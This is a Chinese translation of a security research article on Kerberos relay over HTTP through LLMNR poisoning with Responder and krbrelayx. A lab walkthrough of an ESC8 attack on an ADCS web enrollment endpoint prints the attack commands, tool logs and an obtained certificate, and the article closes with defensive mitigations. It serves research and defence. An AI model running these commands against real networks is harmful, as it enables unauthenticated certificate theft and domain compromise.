滥用多播投毒实现预认证 Kerberos 中继

Abusing multicast poisoning for pre-authenticated Kerberos relay over 

几年前，James Forshaw 发现了一种通过滥用本地名称解析投毒来实现 HTTP 上的 Kerberos 中继的技术。在本文中，我们将介绍这种攻击方法，并通过 Responder 和 krbrelayx 工具提供具体的实现方案。

1. 引言

Kerberos 中继攻击向量最近受到了广泛关注，这与越来越多的强化 Active Directory 环境限制网络上的 NTLM 认证有关，从而阻止了众所周知的 NTLM 中继攻击。

虽然与 NTLM 中继相比，Kerberos 中继技术有其自身的挑战和限制，但它们仍然可以有效地导致高影响力的权限提升场景。许多与 Kerberos 中继相关的研究源自 James Forshaw 在 2021 年发表的原创研究^[1]。到目前为止，研究人员已经发布了两种 Kerberos 中继向量的实现：基于 DNS 的 Kerberos 中继和基于 SMB 的 Kerberos 中继。

本文提出了第三种 Kerberos 中继向量的实现，这同样是由 James Forshaw 发现的：通过多播投毒实现 HTTP 上的 Kerberos 中继。这种替代方法与 DNS/SMB 方法有着不同的前提条件，可以在无法利用这两种其他向量的特定情况下使用。

本文第一部分提供了关于 Kerberos 中继的一些基础知识。第二部分介绍了替代性的 HTTP 中继向量，以及使用 Responder^[2] 和 krbrelayx^[3] 的具体实现方案。第三部分描述了所述攻击向量的使用场景和限制。

2. Kerberos 中继：技术现状

我们假设读者已经了解标准的 Kerberos 认证流程。如果不了解，可以参考 这篇文章^[4]，其中深入介绍了这个主题。如果你已经熟悉 Kerberos 中继概念，可以直接跳到第 3 部分。

在 Kerberos 中，认证过程的最后一个请求（也是决定用户是否能够访问服务的请求）是 AP-REQ 请求。一个 AP-REQ 由两个元素组成：

• 服务票据（ST），使用目标服务的密钥加密。ST 包含请求它的用户相关数据、目标 SPN 以及会话密钥。

• 认证器，这是一个使用与 ST 关联的会话密钥加密的数据块。该会话密钥是由 KDC 在 TGS-REP 中返回给用户的，它使用只有用户才能访问的票据授予票据会话密钥进行加密。

当服务收到 AP-REQ 时，它会解密 ST，提取会话密钥，并验证认证器。如果验证成功，就会授予服务访问权限。实际上，只有请求 ST 的合法用户才能使用其密钥来检索会话密钥并构造有效的认证器。

Kerberos 协议本身并没有任何机制来防止针对 AP-REQ 请求的中继攻击。如果攻击者能够拦截合法客户端发送给目标服务的有效 AP-REQ，就可以使用它以客户端的身份向该目标服务进行认证。需要注意的是，与 NTLM 中继攻击类似，如果目标服务通过签名等方式强制执行完整性要求，AP-REQ 中继将不起作用。因为在这种情况下，通过中继的认证可能会成功，但由于攻击者没有签名数据包所需的会话密钥，后续通信将会失败。

在中继 AP-REQ 消息时还需要考虑一个额外的挑战。AP-REQ 包含一个使用 SPN 中指定的目标主机密钥加密的 ST。例如，为 CIFS/ad01-srv1 SPN 请求的 ST 将使用 ad01-srv1$ 机器账户的密钥加密。

因此，想要执行针对敏感服务的 Kerberos 中继攻击的攻击者必须：

• 强制受害者构造一个包含使用攻击者想要中继认证的主机密钥加密的 ST 的 AP-REQ。

• 强制受害者将该 AP-REQ 发送到攻击者的机器，而不是合法主机。

你可能注意到，在上图中我们将 SPN 的 CLASS 部分替换为 'XXX'，并提到中继的 AP-REQ 可以用于向目标的任何服务进行认证。这是因为在 Active Directory 中，SPN 的 CLASS 大多数时候并不重要。实际上，Windows 服务只会检查它们是否能够解密随 AP-REQ 传输的 ST，但不会实际验证 ST 是为哪个服务类别发出的。因此，如果一个账户实现了具有不同服务类别的不同服务，这意味着为一个服务类别发出的 ST 可以用于访问使用相同账户身份运行的所有其他服务。在 Active Directory 中，由于许多服务都以网络上主机的机器账户运行，这具体意味着使用 ad01-srv1$ 机器账户密钥加密的 ST（例如 DNS/ad01-srv1）可以被作为该机器账户运行的任何服务（例如 CIFS/ad01-srv1）解密和使用。

据我们所知，目前没有服务会检查 SPN 的 CLASS 是否实际匹配其特定服务。这在一定程度上放宽了 Kerberos 中继的要求，因为攻击者只需强制受害者为正确的目标主机构造 AP-REQ，而不必关心客户端前缀的 SPN 的 CLASS。

目前有两种在公开工具中实现的记录在案的 Kerberos 中继技术：

• 基于 DNS 的 Kerberos 中继： 第一种利用了 Active Directory 中 DNS 安全动态更新的工作方式。这是由 Dirk-jan Mollema 发现的，并在 mitm6^[5]/krbrelayx^[6] 中实现。

• 基于 SMB 的 Kerberos 中继：第二种技巧是由 James Forshaw 发现的，它利用了 SMB 客户端在请求 ST 时构造 SPN 的方式。目前有多种实现，Hugo Vincent 将其集成到了 krbrelayx 中^[7]。

2. 利用多播投毒实现 HTTP 上的 Kerberos 中继：基于 Responder 和 krbrelayx 的实现

James Forshaw 在 2021 年发布的研究中提到了另一个 Kerberos 中继向量，据我们所知，目前在 Active Directory 攻击工具中尚未实现。本节首先描述该向量，然后提出通过 Responder^[8] 和 krbrelayx^[9] 的实现方案。

a. 理论

James Forshaw 分析了各种 HTTP 客户端在执行 Kerberos 认证时的行为，包括：

• 浏览器（Internet Explorer、Edge、Google Chrome、Firefox）
• WebDav Webclient
• .NET Framework

这些客户端都有一个相同的有趣特点：当 Web 服务器请求 Kerberos 认证时，它们不会使用目标 URL 来确定应该为哪个 SPN 检索 ST，而是使用 DNS 响应中的应答名称。

在正常情况下，这两者应该是一致的。例如，如果用户浏览 http://internalserver/login URL，HTTP 客户端应该对 internalserver 执行 DNS 查询，响应应该返回 internalserver 的应答名称。如果 Web 服务器随后请求 Kerberos 认证，HTTP 客户端将请求 HTTP/internalserver SPN 的 ST，并从中构造 AP-REQ。

但如果攻击者能够以某种方式操纵返回给 HTTP 客户端的 DNS 响应会怎样？他们可以构造一个 DNS 响应，将中继目标作为应答名称，并将记录指向他们的机器。因此，HTTP 客户端会请求中继目标的 ST，构造 AP-REQ，但将其发送到攻击者的机器。

这种场景可以通过滥用 LLMNR 协议来实现。LLMNR 是一个多播名称解析协议。Windows 客户端首先会尝试通过标准 DNS 解析主机名，然后才会回退到 LLMNR。由于这是一个多播解析协议，攻击者可以向其多播范围内任何无法通过标准 DNS 解析主机名的客户端提供名称解析响应。

James Forshaw 描述的攻击过程如下：

1. 攻击者在多播范围内设置 LLMNR 投毒器。

2. 多播范围内的 HTTP 客户端无法解析主机名。这可能是由于浏览器中的拼写错误、配置错误，也可能是攻击者通过 WebDav 强制触发的。

3. LLMNR 投毒器指示主机名解析到攻击者的机器。在 LLMNR 响应中，应答名称与查询不同，对应于任意的中继目标。

4. 受害者向攻击者的 Web 服务器发起请求，该服务器要求 Kerberos 认证。

5. 受害者请求带有中继目标 SPN 的 ST。然后将生成的 AP-REQ 发送到攻击者的 Web 服务器。

6. 攻击者提取 AP-REQ 并将其中继到中继目标的服务。

b. 实现

在多播投毒方面，Responder^[10] 是首选的攻击工具。因此，为了实现所描述的攻击，我们提交了 一个 pull request^[11]，通过 -N 标志为 Responder 添加了一个参数。该参数允许指定在 LLMNR 响应中返回的任意应答名称。

关于接收到的 AP-REQ 的中继部分，我们决定使用优秀的 krbrelayx^[12] 工具。我们提交了 一个 pull request^[13]，将中继逻辑添加到 krbrelayx 的 HTTP 服务器中（已合并）。

让我们考虑一个在 corp.com 域中的攻击者。该攻击者有一台 Linux 机器（192.168.123.16），与 ad01-wks1 机器（192.168.123.18）在同一个多播范围内。域中有一个启用了 Web 注册端点的 PKI 服务器 ad01-pki（192.168.125.10）。作为安全机制，PKI 在其 Web 注册端点上禁用了 NTLM 认证。此外，攻击者是未经认证的。让我们通过在 HTTP 上中继 Kerberos 认证来执行经典的 ESC8 攻击。第一个示例将演示通过机会主义地响应失败的名称解析来进行攻击，而第二个示例将依赖于 WebDav 认证强制。

• 机会主义响应失败的名称解析

首先，攻击者使用 -N 标志运行 Responder，指示 LLMNR 响应应返回对应于 ad01-pki 的应答名称。

$ python3 Responder.py -I eth0 -N ad01-pki
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0
[…]
[+] Current Session Variables:
    Responder Machine Name     [WIN-K5T290ALO4H]
    Responder Domain Name      [UV5Z.LOCAL]
    Responder DCE-RPC Port     [45847]

[+] Listening for events...

现在，假设 ad01-wks1 机器上的 HTTP 客户端无法解析主机名 - 例如，由于用户在浏览器中输入 URL 时出现了拼写错误。此时，带有 ad01-pki 应答名称的被投毒的 LLMNR 响应将被发送给客户端。Responder 中将出现以下日志。

[*] [LLMNR]  Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name tpyo (spoofed answer name ad01-pki)
[*] [LLMNR]  Poisoned answer sent to 192.168.123.18 for name tpyo (spoofed answer name ad01-pki)
[*] [LLMNR]  Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name tpyo (spoofed answer name ad01-pki)
[*] [LLMNR]  Poisoned answer sent to 192.168.123.18 for name tpyo (spoofed answer name ad01-pki)

此时，HTTP 客户端将被重定向到运行着 krbrelayx 实例的攻击者机器上。系统将要求进行 Kerberos 认证。HTTP 客户端会请求一个 HTTP/ad01-pki ST，并将对应的 AP-REQ 发送到我们的 Web 服务器 - 我们将通过中继这个请求来从 PKI 获取证书。

$ sudo python3 krbrelayx.py --target 'http://ad01-pki.corp.com/certsrv/' -ip 192.168.123.16 --adcs --template User -debug
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.123.18, prompting for authentication
[*] HTTPD: Client requested path: /aa
[*] HTTPD: Received connection from 192.168.123.18, prompting for authentication
[*] HTTPD: Client requested path: /aa
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 25
[*] Base64 certificate of user unknown0491$: 
MIIRhQIBAzCCET8GCSqGSIb3DQEHAaCCETAEghEsMIIRKDCCB18GCSqGSIb3DQEHBqCCB1AwggdMAgEAMIIHRQYJKoZIhvcNAQcBMBwGCiqGSIb3DQEMAQMwDgQI9wFwxjijHrcCAggAgIIHGC5N9frVjYCdn4v8vivNXRcCLCCqmZBTVhKgp5J/pd7vVyIpRTP9++vtOEkQxOQlfaYi0QufpABVNHApMQ/L+BLM+GxMWXZM8qlsqhvsiE4JRoTVqXpcE1VIIY4XQg+VpS2Qb5HdikVkrq7SU7TpOLcYOwCEmA5G+fNPIuG7xKFmGNhRLr2RscGbblMx7b1h4jiKfzHqOBQRnC2hdn1h[...]

如果你感兴趣，以下是在 Wireshark 中捕获的返回给 HTTP 客户端的 LLMNR 响应。

• WebDav 认证强制

相同的利用场景也适用于 WebDav 认证强制。这允许攻击者在不依赖拼写错误或配置错误的情况下定位多播范围内的特定主机 - 但需要认证和活动的 WebClient 服务。以下截图使用 PetitPotam^[14] 工具从 ad01-wks1 机器触发一个 WebDav 请求到不存在的主机名 IDONOTEXIST（1）。Responder 返回一个 LLMNR 响应，伪造应答名称（2），然后 krbrelayx 处理中继部分（3）。

3. 使用场景和限制

本文介绍的中继技术的主要优势在于它可以通过标准的多播投毒在无需认证的情况下执行。因此，当无法利用 mitm6 等攻击向量时，它可以作为通过 DNS 进行 Kerberos 中继的可行替代方案。

虽然通过 SMB 中继 Kerberos 更可靠，因为它可以潜在地定位多播范围之外的任意机器，但它仍然需要认证，要么是添加包含 CREDENTIAL_TARGET_INFORMATION 结构的 DNS 记录，要么至少要强制机器在使用本地 DNS 解析协议之前尝试访问包含 CREDENTIAL_TARGET_INFORMATION 结构的主机名。需要注意的是，应答名称技巧对 SMB 客户端不起作用，这意味着无法在 SMB 中对不存在的主机名进行 LLMNR 机会主义响应，并使用包含 CREDENTIAL_TARGET_INFORMATION 结构的应答名称。

本技术的限制在于被中继的受害者必须在攻击者的多播范围内，并且网络上必须启用 LLMNR。

另一个限制是，根据我们的测试，其他本地名称解析协议如 mDNS 和 NBTNS 无法被用来执行攻击。事实上，虽然 LLMNR 响应同时包含客户端发送的查询和响应，但 mDNS 和 NBTNS 不是这样，它们只包含响应。以下是一个伪造的 mDNS 响应示例：

Multicast Domain Name System (response)
    Transaction ID: 0x0000
    Flags: 0x8400 Standard query response, No error
        1... .... .... .... = Response: Message is a response
        .000 0... .... .... = Opcode: Standard query (0)
        .... .1.. .... .... = Authoritative: Server is an authority for domain
        .... ..0. .... .... = Truncated: Message is not truncated
        .... ...0 .... .... = Recursion desired: Don't do query recursively
        .... .... 0... .... = Recursion available: Server can't do recursive queries
        .... .... .0.. .... = Z: reserved (0)
        .... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
        .... .... ...0 .... = Non-authenticated data: Unacceptable
        .... .... .... 0000 = Reply code: No error (0)
    Questions: 0
    Answer RRs: 1
    Authority RRs: 0
    Additional RRs: 0
    Answers
        ad01-pki.corp.com: type A, class IN, addr 192.168.123.16
            Name: ad01-pki.corp.com
            Type: A (1) (Host Address)
            .000 0000 0000 0001 = Class: IN (0x0001)
            0... .... .... .... = Cache flush: False
            Time to live: 120 (2 minutes)
            Data length: 4
            Address: 192.168.123.16
    [Unsolicited: True]

由于 mDNS 和 NBTNS 只包含名称解析响应，更改应答名称实际上会使 HTTP 客户端感到困惑，因为它们无法将发送的查询与修改后的响应建立联系。因此，它们会简单地忽略伪造的响应，并报告 DNS 解析失败。尽管 NBTNS 协议实现了事务 ID（可用于客户端将查询与伪造的响应关联），但这种情况也同样适用。

我们尝试了各种技巧，试图通过 mDNS 和 NBTNS 实现攻击，包括使用 CNAME 和附加记录，但都没有成功。当然，如果有人能证明我们的观点是错误的，我们会很乐意接受。

最后一个限制是所有 Kerberos 中继向量都共有的，与执行此类攻击时实际可以针对的服务有关。熟悉 NTLM 中继利用的渗透测试人员可能会认为通过 HTTP 中继 Kerberos 会带来与中继目标相关的相同机会。例如，允许将身份验证数据中继到默认情况下不需要完整性机制的服务，这些服务仅在客户端启用时才实现完整性机制 - 这尤其适用于 LDAP 协议。

遗憾的是，事实并非如此。当使用 Negotiate 安全包（WWW-Authenticate : Negotiate）执行 Kerberos 身份验证时，生成的 AP-REQ 将默认启用完整性保护。直接使用 Kerberos 安全包（WWW-Authenticate : Kerberos）意味着不会自动添加完整性机制。在进行 Kerberos 身份验证时，HTTP 客户端比执行 NTLM 身份验证时要严格得多。绝大多数客户端会拒绝将安全包降级为纯 Kerberos，并且只会通过 Negotiate 包执行身份验证，这意味着将自动启用完整性检查。James Forshaw 发现了一些例外，如 .NET Framework 4.8 或 .NET 5.0，它们接受降级到纯 Kerberos。

这实际上意味着，在大多数情况下，执行 Kerberos 身份验证的客户端（包括 HTTP 客户端）将支持完整性检查。在这些条件下，只能针对实际上不支持签名和密封的服务（因此会忽略客户端的完整性标志）。这主要适用于 HTTP 服务。在 Active Directory 中，一些标准的高价值 HTTP 服务构成了 Kerberos 中继的相关目标，包括：

• ADCS Web 注册端点。

• SCCM 管理点和 SCCM 分发点。

结论

本地名称解析投毒等旧的攻击原语可以与最新的身份验证中继技术结合使用，以在 Active Directory 环境中创建新的攻击路径。通过 HTTP 执行 Kerberos 中继可能允许攻击者在域中获得立足点并开始横向移动。人们甚至可以设想通过 ESC8 攻击利用 HTTP 上的 Kerberos 中继获得域的认证访问权限，然后通过 SMB 上的 Kerberos 中继利用相同的漏洞来入侵域控制器。

防护本文所述攻击的 Active Directory 域相当简单。如果没有功能需求（大多数情况下都是如此），应该禁用 LLMNR 等本地名称解析协议，并在 Active Directory 服务级别实施反中继机制。具体而言，对于 HTTP 服务，建议强制使用 TLS 并启用扩展身份验证保护。

参考资料